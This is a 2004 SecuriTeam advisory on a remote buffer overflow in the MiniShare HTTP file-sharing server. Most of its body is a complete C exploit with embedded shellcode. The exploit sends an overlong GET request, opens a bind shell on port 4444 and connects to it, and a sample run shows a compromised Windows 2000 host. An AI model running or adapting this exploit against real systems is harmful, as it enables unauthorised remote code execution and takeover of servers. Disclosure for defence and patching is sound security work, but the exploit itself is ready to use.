[EXPL] MiniShare Remote Buffer Overflow

From: SecuriTeam (support_at_securiteam.com)
Date: 11/16/04

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Date: 16 Nov 2004 17:26:02 +0200

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      MiniShare Remote Buffer Overflow
    ------------------------------------------------------------------------

    SUMMARY

     <http://minishare.sourceforge.net/> MiniShare is meant to serve anyone
    who has the need to share files to anyone, doesn't have a place to store
    the files on the web, and does not want or simply does not have the skill
    and possibility to set up and maintain a complete HTTP-server software.

    By sending a long URI variable in an HTTP GET request it is possible to
    crash MiniShare and run arbitrary machine code.

    DETAILS

    /*
    no@0x00:~/Exploits/minishare$ ./mini-exploit 10.20.30.2

    ***MiniShare remote buffer overflow UNIX exploit by NoPh0BiA.***

    [x] Connected to: 10.20.30.2 on port 80.
    [x] Sending bad code..done.
    [x] Trying to connect to: 10.20.30.2 on port 4444..
    [x] 0wn3d!

    Microsoft Windows 2000 [Version 5.00.2195]
    (C) Copyright 1985-2000 Microsoft Corp.

    E:\Program Files\MiniShare>

    Greetz to NtWaK0,kane,kamalo,foufz, and schap :)
    http://NoPh0BiA.lostspirits.org

    */

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <sys/wait.h>
    #include <errno.h>
    #include <netinet/in.h>
    #include <fcntl.h>

    #define PORT 80
    #define PORT1 4444
    #define RET "\xB8\x9E\xE3\x77" /*2k sp2*/

    char shellcode[]=
    "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x34\x0a"
    "\x2f\xfd\x83\xeb\xfc\xe2\xf4\xc8\xe2\x79\xfd\x34\x0a\x7c\xa8\x62"
    "\x5d\xa4\x91\x10\x12\xa4\xb8\x08\x81\x7b\xf8\x4c\x0b\xc5\x76\x7e"
    "\x12\xa4\xa7\x14\x0b\xc4\x1e\x06\x43\xa4\xc9\xbf\x0b\xc1\xcc\xcb"
    "\xf6\x1e\x3d\x98\x32\xcf\x89\x33\xcb\xe0\xf0\x35\xcd\xc4\x0f\x0f"
    "\x76\x0b\xe9\x41\xeb\xa4\xa7\x10\x0b\xc4\x9b\xbf\x06\x64\x76\x6e"
    "\x16\x2e\x16\xbf\x0e\xa4\xfc\xdc\xe1\x2d\xcc\xf4\x55\x71\xa0\x6f"
    "\xc8\x27\xfd\x6a\x60\x1f\xa4\x50\x81\x36\x76\x6f\x06\xa4\xa6\x28"
    "\x81\x34\x76\x6f\x02\x7c\x95\xba\x44\x21\x11\xcb\xdc\xa6\x3a\xb5"
    "\xe6\x2f\xfc\x34\x0a\x78\xab\x67\x83\xca\x15\x13\x0a\x2f\xfd\xa4"
    "\x0b\x2f\xfd\x82\x13\x37\x1a\x90\x13\x5f\x14\xd1\x43\xa9\xb4\x90"
    "\x10\x5f\x3a\x90\xa7\x01\x14\xed\x03\xda\x50\xff\xe7\xd3\xc6\x63"
    "\x59\x1d\xa2\x07\x38\x2f\xa6\xb9\x41\x0f\xac\xcb\xdd\xa6\x22\xbd"
    "\xc9\xa2\x88\x20\x60\x28\xa4\x65\x59\xd0\xc9\xbb\xf5\x7a\xf9\x6d"
    "\x83\x2b\x73\xd6\xf8\x04\xda\x60\xf5\x18\x02\x61\x3a\x1e\x3d\x64"
    "\x5a\x7f\xad\x74\x5a\x6f\xad\xcb\x5f\x03\x74\xf3\x3b\xf4\xae\x67"
    "\x62\x2d\xfd\x25\x56\xa6\x1d\x5e\x1a\x7f\xaa\xcb\x5f\x0b\xae\x63"
    "\xf5\x7a\xd5\x67\x5e\x78\x02\x61\x2a\xa6\x3a\x5c\x49\x62\xb9\x34"
    "\x83\xcc\x7a\xce\x3b\xef\x70\x48\x2e\x83\x97\x21\x53\xdc\x56\xb3"
    "\xf0\xac\x11\x60\xcc\x6b\xd9\x24\x4e\x49\x3a\x70\x2e\x13\xfc\x35"
    "\x83\x53\xd9\x7c\x83\x53\xd9\x78\x83\x53\xd9\x64\x87\x6b\xd9\x24"
    "\x5e\x7f\xac\x65\x5b\x6e\xac\x7d\x5b\x7e\xae\x65\xf5\x5a\xfd\x5c"
    "\x78\xd1\x4e\x22\xf5\x7a\xf9\xcb\xda\xa6\x1b\xcb\x7f\x2f\x95\x99"
    "\xd3\x2a\x33\xcb\x5f\x2b\x74\xf7\x60\xd0\x02\x02\xf5\xfc\x02\x41"
    "\x0a\x47\x0d\xbe\x0e\x70\x02\x61\x0e\x1e\x26\x67\xf5\xff\xfd";

    struct sockaddr_in hrm;

    void shell(int sock)
    {
     fd_set fd_read;
     char buff[1024];
     int n;

     while(1) {
      FD_SET(sock,&fd_read);
      FD_SET(0,&fd_read);

      if(select(sock+1,&fd_read,NULL,NULL,NULL)<0) break;

      if( FD_ISSET(sock, &fd_read) ) {
       n=read(sock,buff,sizeof(buff));
       if (n == 0) {
           printf ("Connection closed.\n");
           exit(EXIT_FAILURE);
       } else if (n < 0) {
           perror("read remote");
           exit(EXIT_FAILURE);
       }
       write(1,buff,n);
      }

      if ( FD_ISSET(0, &fd_read) ) {
        if((n=read(0,buff,sizeof(buff)))<=0){
          perror ("read user");
          exit(EXIT_FAILURE);
        }
        write(sock,buff,n);
      }
     }
     close(sock);
    }

    int conn(char *ip, int p)
    {
     int sockfd;
     hrm.sin_family = AF_INET;
     hrm.sin_port = htons(p);
     hrm.sin_addr.s_addr = inet_addr(ip);
     bzero(&(hrm.sin_zero),8);
     sockfd=socket(AF_INET,SOCK_STREAM,0);
    if((connect(sockfd,(struct sockaddr*)&hrm,sizeof(struct sockaddr))) < 0 )
     {
      perror("connect");
      exit(0);
     }
     return sockfd;
    }

    int main(int argc, char *argv[])
    {
     if(argc < 2)
     {
     printf("Usage: TARGET.\n");
     exit(0);
     }
     char *buffer = malloc(2220),*B=malloc(30),*target=argv[1];
            int x,y;
     printf("\n***MiniShare remote buffer overflow UNIX exploit by
    NoPh0BiA.***\n\n");
     memset(buffer,'\0',2220);
     memset(B,0x42,30);
     memset(buffer,0x41,1787);
     strcat(buffer,RET);
     strcat(buffer,B);
     strcat(buffer,shellcode);
     if((x = conn(target,PORT)))
     printf("[x] Connected to: %s on port %d.\n",target,PORT);
     sleep(3);
     printf("[x] Sending bad code..");
     write(x,"GET ",4);
     write(x,buffer,2220);
     write(x," HTTP/1.1\r\n\r\n",13);
     sleep(3);
     printf("done.\n");
     printf("[x] Trying to connect to: %s on port %d..\n",target,PORT1);
     if((y=conn(target,PORT1)))
     {
     printf("[x] 0wn3d!\n\n");
     shell(y);
     }
     
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:noph0bia@lostspirits.org>
    NoPh0BiA.

    ========================================

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